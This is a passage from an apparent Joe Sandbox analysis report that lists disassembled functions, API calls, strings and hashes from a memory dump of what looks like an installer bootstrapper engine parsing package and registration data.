MoveFileExW.KERNEL32(?,00000000,00000004,?,?,?,00000001,00000000,?), ref: 009A4095
GetLastError.KERNEL32(?,?,?,00000001,00000000,?), ref: 009A40B0
FindClose.KERNEL32(000000FF,?,?,?,00000001,00000000,?), ref: 009A40E6

Strings

*.*, xrefs: 009A3E2C
DEL, xrefs: 009A3F6D
dirutil.cpp, xrefs: 009A3D76, 009A3FFA

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLast$AttributesFindMove$Temp$CloseDeleteDirectoryFirstNameNextPathRemove
String ID: *.*$DEL$dirutil.cpp
API String ID: 1544372074-1252831301
Opcode ID: 7295bfcde226a7951ab61d7dacddf7e1dee7d008c5df49219bc38c9d0d12301d
Instruction ID: b7405e15dfdc23f19815227fcadfd3338f4c2900e7cd0cdc08ceb5629631df21
Opcode Fuzzy Hash: 7295bfcde226a7951ab61d7dacddf7e1dee7d008c5df49219bc38c9d0d12301d
Instruction Fuzzy Hash: 93B12A73D15239DBDB315A658C05B9AB67DAF82720F0182A1FE08FB190D7728E90DED0

Function 009A5195 Relevance: 38.8, APIs: 5, Strings: 17, Instructions: 315
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?), ref: 009A5217

Part of subcall function 009E04F8: InitializeCriticalSection.KERNEL32(00A0B5FC,?,009A5223,00000000,?,?,?,?,?,?), ref: 009E050F

Part of subcall function 009A120A: CommandLineToArgvW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000,ignored ,00000000,?,00000000,?,?,?,009A523F,00000000,?), ref: 009A1248
Part of subcall function 009A120A: GetLastError.KERNEL32(?,?,?,009A523F,00000000,?,?,00000003,00000000,00000000,?,?,?,?,?,?), ref: 009A1252

CoInitializeEx.COMBASE(00000000,00000000,?,?,00000000,?,?,00000003,00000000,00000000,?,?,?,?,?,?), ref: 009A5285

Part of subcall function 009E0E07: GetProcAddress.KERNEL32(RegDeleteKeyExW,AdvApi32.dll), ref: 009E0E28

GetVersionExW.KERNEL32(?,?,?,?,?,?,?), ref: 009A5317
GetLastError.KERNEL32(?,?,?,?,?,?), ref: 009A5321
CoUninitialize.COMBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 009A558E

Strings

3.11.1.2318, xrefs: 009A5384
engine.cpp, xrefs: 009A5345
Failed to initialize COM., xrefs: 009A5291
Failed to run RunOnce mode., xrefs: 009A541C
Failed to run per-user mode., xrefs: 009A5494
Failed to initialize XML util., xrefs: 009A52F9
Failed to initialize engine state., xrefs: 009A526C
Failed to initialize Cryputil., xrefs: 009A52A6
Failed to initialize Regutil., xrefs: 009A52C9
Failed to run untrusted mode., xrefs: 009A54B6
Failed to run embedded mode., xrefs: 009A5444
Failed to run per-machine mode., xrefs: 009A546C
Invalid run mode., xrefs: 009A53F9
Failed to get OS info., xrefs: 009A534F
Failed to initialize Wiutil., xrefs: 009A52E1
Failed to initialize core., xrefs: 009A53C3
Failed to parse command line., xrefs: 009A5245

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorInitializeLast$AddressArgvCommandCriticalHandleLineModuleProcSectionUninitializeVersion
String ID: 3.11.1.2318$Failed to get OS info.$Failed to initialize COM.$Failed to initialize Cryputil.$Failed to initialize Regutil.$Failed to initialize Wiutil.$Failed to initialize XML util.$Failed to initialize core.$Failed to initialize engine state.$Failed to parse command line.$Failed to run RunOnce mode.$Failed to run embedded mode.$Failed to run per-machine mode.$Failed to run per-user mode.$Failed to run untrusted mode.$Invalid run mode.$engine.cpp
API String ID: 3262001429-510904028
Opcode ID: 8a557366b694f5bcdf79b6814552711ff8368af726e54682ed35f77a2942fdc7
Instruction ID: f7338b1c8fe5db41526bbec5597bb1b6d706c07e8f28804a8da749dc0d2e7f08
Opcode Fuzzy Hash: 8a557366b694f5bcdf79b6814552711ff8368af726e54682ed35f77a2942fdc7
Instruction Fuzzy Hash: C9B1E971E406699BDF32AF55CC46BEE76B9AF85314F0200A5F908B6251DB749E80CFD0

Function 009E304F Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 153libraryloadercomCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000000,00000000,009E3609,00000000,?,00000000), ref: 009E3069
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,009CC025,?,009A5405,?,00000000,?), ref: 009E3075
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 009E30B5
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 009E30C1
GetProcAddress.KERNEL32(00000000,Wow64EnableWow64FsRedirection), ref: 009E30CC
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 009E30D6
CoCreateInstance.OLE32(00A0B6B8,00000000,00000001,009EB818,?,?,?,?,?,?,?,?,?,?,?,009CC025), ref: 009E3111
ExitProcess.KERNEL32 ref: 009E31C0

Strings

IsWow64Process, xrefs: 009E30AF
Wow64RevertWow64FsRedirection, xrefs: 009E30CE
Wow64EnableWow64FsRedirection, xrefs: 009E30C3
xmlutil.cpp, xrefs: 009E3099
kernel32.dll, xrefs: 009E3059
Wow64DisableWow64FsRedirection, xrefs: 009E30BB

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AddressProc$CreateErrorExitHandleInstanceLastModuleProcess
String ID: IsWow64Process$Wow64DisableWow64FsRedirection$Wow64EnableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$xmlutil.cpp
API String ID: 2124981135-499589564
Opcode ID: 130cb9fe94401265a9537b02a8214f24ff19f307d4a76dc0314593f80ea6152c
Instruction ID: 292faba0888a96867795e8e5e8938ecaf340305ffb8a55e3a1c6230ee8ab5264
Opcode Fuzzy Hash: 130cb9fe94401265a9537b02a8214f24ff19f307d4a76dc0314593f80ea6152c
Instruction Fuzzy Hash: 7C41A631A05259ABDB26DBAACC49F6EB7B8EF44711F11856CE901EB380D771DE408B90

Function 009A1070 Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 78fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009A33C7: GetModuleFileNameW.KERNEL32(?,?,00000104,?,00000104,?,?,?,?,009A10DD,?,00000000), ref: 009A33E8

CreateFileW.KERNELBASE(?,80000000,00000005,00000000,00000003,00000080,00000000,?,00000000), ref: 009A10F6

Part of subcall function 009A1175: HeapSetInformation.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,?,?,009A111A,cabinet.dll,00000009,?,?,00000000), ref: 009A1186
Part of subcall function 009A1175: GetModuleHandleW.KERNEL32(kernel32,?,?,?,?,?,009A111A,cabinet.dll,00000009,?,?,00000000), ref: 009A1191
Part of subcall function 009A1175: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 009A119F
Part of subcall function 009A1175: GetLastError.KERNEL32(?,?,?,?,?,009A111A,cabinet.dll,00000009,?,?,00000000), ref: 009A11BA
Part of subcall function 009A1175: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 009A11C2
Part of subcall function 009A1175: GetLastError.KERNEL32(?,?,?,?,?,009A111A,cabinet.dll,00000009,?,?,00000000), ref: 009A11D7

CloseHandle.KERNELBASE(?,?,?,?,009EB4D0,?,cabinet.dll,00000009,?,?,00000000), ref: 009A1131

Strings

wininet.dll, xrefs: 009A10AE
feclient.dll, xrefs: 009A10D1
clbcatq.dll, xrefs: 009A10BC
comres.dll, xrefs: 009A10B5
cabinet.dll, xrefs: 009A1099, 009A1114
msi.dll, xrefs: 009A10A0
msasn1.dll, xrefs: 009A10C3
version.dll, xrefs: 009A10A7
crypt32.dll, xrefs: 009A10CA

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AddressErrorFileHandleLastModuleProc$CloseCreateHeapInformationName
String ID: cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$feclient.dll$msasn1.dll$msi.dll$version.dll$wininet.dll
API String ID: 3687706282-3151496603
Opcode ID: 59de97f360c4be33b152f659215e8835dc27bb7a8521dd4eea8c602988aa9a42
Instruction ID: 3e17c542793147874c1254708aa16881a9ad908bf710d6bfd6808799491b49da
Opcode Fuzzy Hash: 59de97f360c4be33b152f659215e8835dc27bb7a8521dd4eea8c602988aa9a42
Instruction Fuzzy Hash: 95218071A0025CABCB219FA5CC45BEFBBF8AB46714F504119FA10BB291E7709D048BE0

Function 009BA0BB Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

Strings

Failed to calculate working folder to ensure it exists., xrefs: 009BA0D8
Failed create working folder., xrefs: 009BA0EE
Failed to copy working folder., xrefs: 009BA116

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CurrentDirectoryErrorLastProcessWindows
String ID: Failed create working folder.$Failed to calculate working folder to ensure it exists.$Failed to copy working folder.
API String ID: 3841436932-2072961686
Opcode ID: 64b3502424fcaa6b43f866770754827c257e4922ccb68474751c781701783259
Instruction ID: bd0bbf9923f59f94cc89c190020545f1b84428cfc117a9eb6cd52d51f94e3123
Opcode Fuzzy Hash: 64b3502424fcaa6b43f866770754827c257e4922ccb68474751c781701783259
Instruction Fuzzy Hash: 9801843290966CFA8B226B59DE06DEEBBB9DFD5B30B104255F810B6211DB319E00A691

Function 009D48D8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,009D48AE,00000000,00A07F08,0000000C,009D4A05,00000000,00000002,00000000), ref: 009D48F9
TerminateProcess.KERNEL32(00000000,?,009D48AE,00000000,00A07F08,0000000C,009D4A05,00000000,00000002,00000000), ref: 009D4900
ExitProcess.KERNEL32 ref: 009D4912

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 3b98326edba69507a4b7cafee95e865d7278f7e4c8bd21c27d7b66cd5958bdc9
Instruction ID: ead717b4612568aadc362c13a44e9c3e9644a995361a0b39224f65ae6c0331de
Opcode Fuzzy Hash: 3b98326edba69507a4b7cafee95e865d7278f7e4c8bd21c27d7b66cd5958bdc9
Instruction Fuzzy Hash: EDE08C31454288AFCF12AF51CE5AE4A3B2DEF80B81F008011F8198B232CB35EC42DB80

Function 009A394F Relevance: 3.0, APIs: 2, Instructions: 13memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 9dd87a729cd862127399d1e7095382e3a361b97c6df1d3d7d71d8b6dd136faf2
Instruction ID: 26a4d526433c121e8f134de9070947489c55915bbcca25f55cb47785a492a337
Opcode Fuzzy Hash: 9dd87a729cd862127399d1e7095382e3a361b97c6df1d3d7d71d8b6dd136faf2
Instruction Fuzzy Hash: A7C012321AC20DA7CB005FF4DC4DC57379CB7146127048404B505C6110C738E4109760

Function 009ADF33 Relevance: 126.6, APIs: 11, Strings: 61, Instructions: 646COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 009AE058
SysFreeString.OLEAUT32(00000000), ref: 009AE736

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

Strings

package.cpp, xrefs: 009ADFBE, 009AE0E3, 009AE4CF, 009AE564
Failed to get @RollbackBoundaryBackward., xrefs: 009AE527
ExePackage, xrefs: 009AE357
Failed to parse MSI package., xrefs: 009AE3C1
RollbackBoundaryForward, xrefs: 009AE2DF
Failed to select package nodes., xrefs: 009AE094
Invalid cache type: %ls, xrefs: 009AE6EA
PerMachine, xrefs: 009AE21A
InstallCondition, xrefs: 009AE2BC
Failed to get @Size., xrefs: 009AE6D4
Failed to get @Cache., xrefs: 009AE6FA
RollbackLogPathVariable, xrefs: 009AE299
clbcatq.dll, xrefs: 009AE219
RollbackBoundaryBackward, xrefs: 009AE319
Failed to get package node count., xrefs: 009AE0B1
Failed to get @Permanent., xrefs: 009AE6BF
cabinet.dll, xrefs: 009AE1FE
Failed to allocate memory for package structs., xrefs: 009AE0EF
RollbackBoundary, xrefs: 009ADF56
Failed to get next node., xrefs: 009AE708
Failed to get @Id., xrefs: 009AE701
Failed to parse payload references., xrefs: 009AE6B1
Failed to get rollback bundary node count., xrefs: 009ADF8E
Permanent, xrefs: 009AE235
Failed to find forward transaction boundary: %ls, xrefs: 009AE506
Failed to allocate memory for MSP patch sequence information., xrefs: 009AE4DB
Size, xrefs: 009AE1E4
yes, xrefs: 009AE187
Failed to get @InstallSize., xrefs: 009AE6CD
Chain/ExePackage|Chain/MsiPackage|Chain/MspPackage|Chain/MsuPackage, xrefs: 009AE081
comres.dll, xrefs: 009AE234
Vital, xrefs: 009AE027, 009AE25B
Failed to get @LogPathVariable., xrefs: 009AE4E5
MsiPackage, xrefs: 009AE395
Failed to parse dependency providers., xrefs: 009AE6AA
LogPathVariable, xrefs: 009AE276
Failed to get @RollbackBoundaryForward., xrefs: 009AE510
always, xrefs: 009AE1A7
wininet.dll, xrefs: 009AE25A
feclient.dll, xrefs: 009AE298
Failed to parse MSU package., xrefs: 009AE53B
Failed to get @CacheId., xrefs: 009AE6DB
msi.dll, xrefs: 009AE1C8
`<u, xrefs: 009AE058, 009AE47B, 009AE736
Cache, xrefs: 009AE14B
Failed to parse EXE package., xrefs: 009AE389
MsuPackage, xrefs: 009AE406
MspPackage, xrefs: 009AE3CD
Failed to get @PerMachine., xrefs: 009AE6C6
Failed to select rollback boundary nodes., xrefs: 009ADF69
CacheId, xrefs: 009AE1C9
Failed to get @InstallCondition., xrefs: 009AE4F9
Failed to get @RollbackLogPathVariable., xrefs: 009AE4EF
crypt32.dll, xrefs: 009AE2BB
Failed to find backward transaction boundary: %ls, xrefs: 009AE51D
Failed to allocate memory for patch sequence information to package lookup., xrefs: 009AE570
Failed to allocate memory for rollback boundary structs., xrefs: 009ADFCA
Failed to get @Vital., xrefs: 009AE6B8
InstallSize, xrefs: 009AE1FF
Failed to parse MSP package., xrefs: 009AE531
Failed to parse target product codes., xrefs: 009AE69B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: FreeHeapString$AllocateProcess
String ID: Cache$CacheId$Chain/ExePackage|Chain/MsiPackage|Chain/MspPackage|Chain/MsuPackage$ExePackage$Failed to allocate memory for MSP patch sequence information.$Failed to allocate memory for package structs.$Failed to allocate memory for patch sequence information to package lookup.$Failed to allocate memory for rollback boundary structs.$Failed to find backward transaction boundary: %ls$Failed to find forward transaction boundary: %ls$Failed to get @Cache.$Failed to get @CacheId.$Failed to get @Id.$Failed to get @InstallCondition.$Failed to get @InstallSize.$Failed to get @LogPathVariable.$Failed to get @PerMachine.$Failed to get @Permanent.$Failed to get @RollbackBoundaryBackward.$Failed to get @RollbackBoundaryForward.$Failed to get @RollbackLogPathVariable.$Failed to get @Size.$Failed to get @Vital.$Failed to get next node.$Failed to get package node count.$Failed to get rollback bundary node count.$Failed to parse EXE package.$Failed to parse MSI package.$Failed to parse MSP package.$Failed to parse MSU package.$Failed to parse dependency providers.$Failed to parse payload references.$Failed to parse target product codes.$Failed to select package nodes.$Failed to select rollback boundary nodes.$InstallCondition$InstallSize$Invalid cache type: %ls$LogPathVariable$MsiPackage$MspPackage$MsuPackage$PerMachine$Permanent$RollbackBoundary$RollbackBoundaryBackward$RollbackBoundaryForward$RollbackLogPathVariable$Size$Vital$`<u$always$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$feclient.dll$msi.dll$package.cpp$wininet.dll$yes
API String ID: 336948655-2953049543
Opcode ID: 81d0acf22e5103c20eb1cdf16d099953746c82720fce67ab26ff3d905bc5a930
Instruction ID: c32235ffcd752aff68df7f41cf91196e6e09ffd85c5b8a50446de558f5d6a51f
Opcode Fuzzy Hash: 81d0acf22e5103c20eb1cdf16d099953746c82720fce67ab26ff3d905bc5a930
Instruction Fuzzy Hash: 6332D131D4422AEFCB119B54CC46FAEB6B8AF85724F214665FA11BB291D7B4AD008BD0

Function 009AF9E3 Relevance: 112.4, APIs: 3, Strings: 61, Instructions: 446
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to get @Register., xrefs: 009AFB70
DisableModify, xrefs: 009AFCF6
Failed to get @Publisher., xrefs: 009AFBDF
Failed to select Update node., xrefs: 009AFE3C
Failed to parse software tag., xrefs: 009AFE10
Failed to get @ParentDisplayName., xrefs: 009AFC98
Publisher, xrefs: 009AFBC8
ProviderKey, xrefs: 009AFAD3
UpdateUrl, xrefs: 009AFC5C
Failed to get @DisableModify., xrefs: 009AFDB8
PerMachine, xrefs: 009AFB12
Failed to get @UpdateUrl., xrefs: 009AFC73
Name, xrefs: 009AFEC1
DisplayName, xrefs: 009AFB7E
Failed to get @Id., xrefs: 009AFA49
Failed to get @Version., xrefs: 009AFAA4
Failed to get @Comments., xrefs: 009AFCC0
Failed to get @DisplayVersion., xrefs: 009AFBBA
Invalid modify disabled type: %ls, xrefs: 009AFD94
Register, xrefs: 009AFB5D
Failed to parse @Version: %ls, xrefs: 009AFAC5
yes, xrefs: 009AFD36
Failed to get @Tag., xrefs: 009AFA6A
Failed to get @HelpTelephone., xrefs: 009AFC29
Registration, xrefs: 009AF9FD
Failed to get @ExecutableName., xrefs: 009AFB07
Failed to get @Manufacturer., xrefs: 009AFE66
Failed to get @ProductFamily., xrefs: 009AFEB3
Failed to set registration paths., xrefs: 009AFF08
DisableRemove, xrefs: 009AFDC9
registration.cpp, xrefs: 009AFD87
Arp, xrefs: 009AFB33
ExecutableName, xrefs: 009AFAF4
ParentDisplayName, xrefs: 009AFC81
Failed to parse related bundles, xrefs: 009AFA83
Update, xrefs: 009AFE1E
HelpTelephone, xrefs: 009AFC12
Failed to get @DisplayName., xrefs: 009AFB95
Comments, xrefs: 009AFCA9
Failed to get @DisableRemove., xrefs: 009AFDE0
Failed to get @AboutUrl., xrefs: 009AFC4E
button, xrefs: 009AFD15
Department, xrefs: 009AFE77
Failed to get @ProviderKey., xrefs: 009AFAE6
Failed to get @Department., xrefs: 009AFE8E
Failed to select registration node., xrefs: 009AFA1C
ProductFamily, xrefs: 009AFE9C
Classification, xrefs: 009AFEE2
Contact, xrefs: 009AFCD1
Failed to get @Name., xrefs: 009AFED4
Failed to get @PerMachine., xrefs: 009AFB25
Failed to select ARP node., xrefs: 009AFB4F
DisplayVersion, xrefs: 009AFBA3
HelpLink, xrefs: 009AFBED
Tag, xrefs: 009AFA57
Manufacturer, xrefs: 009AFE53
Failed to get @Classification., xrefs: 009AFEF5
Version, xrefs: 009AFA91
AboutUrl, xrefs: 009AFC37
Failed to get @HelpLink., xrefs: 009AFC04
Failed to get @Contact., xrefs: 009AFCE8

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: StringVariant$AllocClearFreeInit
String ID: AboutUrl$Arp$Classification$Comments$Contact$Department$DisableModify$DisableRemove$DisplayName$DisplayVersion$ExecutableName$Failed to get @AboutUrl.$Failed to get @Classification.$Failed to get @Comments.$Failed to get @Contact.$Failed to get @Department.$Failed to get @DisableModify.$Failed to get @DisableRemove.$Failed to get @DisplayName.$Failed to get @DisplayVersion.$Failed to get @ExecutableName.$Failed to get @HelpLink.$Failed to get @HelpTelephone.$Failed to get @Id.$Failed to get @Manufacturer.$Failed to get @Name.$Failed to get @ParentDisplayName.$Failed to get @PerMachine.$Failed to get @ProductFamily.$Failed to get @ProviderKey.$Failed to get @Publisher.$Failed to get @Register.$Failed to get @Tag.$Failed to get @UpdateUrl.$Failed to get @Version.$Failed to parse @Version: %ls$Failed to parse related bundles$Failed to parse software tag.$Failed to select ARP node.$Failed to select Update node.$Failed to select registration node.$Failed to set registration paths.$HelpLink$HelpTelephone$Invalid modify disabled type: %ls$Manufacturer$Name$ParentDisplayName$PerMachine$ProductFamily$ProviderKey$Publisher$Register$Registration$Tag$Update$UpdateUrl$Version$button$registration.cpp$yes
API String ID: 760788290-2956246334
Opcode ID: 6ae51d186d1fc5609cd3a448809803b7b8953485a4f8a7a2894f9a7bb208ff2d
Instruction ID: 8d11ab0f8854fe15f3649ee83e610b4674d767e574064404a7e7505a76515179
Opcode Fuzzy Hash: 6ae51d186d1fc5609cd3a448809803b7b8953485a4f8a7a2894f9a7bb208ff2d
Instruction Fuzzy Hash: 41E1C632E4466DFACB2296E4CC52FBDB6A8AB82714F114271FF21F7291DB619D1097C0

Function 009AB48B Relevance: 91.6, APIs: 24, Strings: 28, Instructions: 578
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,00000000,76EEC3F0,00000000), ref: 009AB502
SetFilePointerEx.KERNELBASE(000000FF,00000000,00000000,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB550
GetLastError.KERNEL32(?,?,?,00000000,76EEC3F0,00000000), ref: 009AB556
ReadFile.KERNELBASE(00000000,009A4461,00000040,?,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB59E
GetLastError.KERNEL32(?,?,?,00000000,76EEC3F0,00000000), ref: 009AB5A4
SetFilePointerEx.KERNELBASE(00000000,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB601
GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB607
ReadFile.KERNELBASE(00000000,?,00000018,00000040,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB650
GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB656
SetFilePointerEx.KERNELBASE(00000000,-00000098,00000000,00000000,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB6C7
GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB6CD
ReadFile.KERNEL32(00000000,?,00000004,00000018,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB716
GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB71C
ReadFile.KERNEL32(00000000,?,00000004,00000018,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB765
GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB76B
SetFilePointerEx.KERNELBASE(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB7B7
GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB7BD

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

ReadFile.KERNEL32(00000000,?,00000028,00000018,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB810
ReadFile.KERNEL32(00000000,?,00000028,00000028,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB872
SetFilePointerEx.KERNELBASE(00000000,?,00000000,00000000,00000000,00000034,00000001,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB8FC
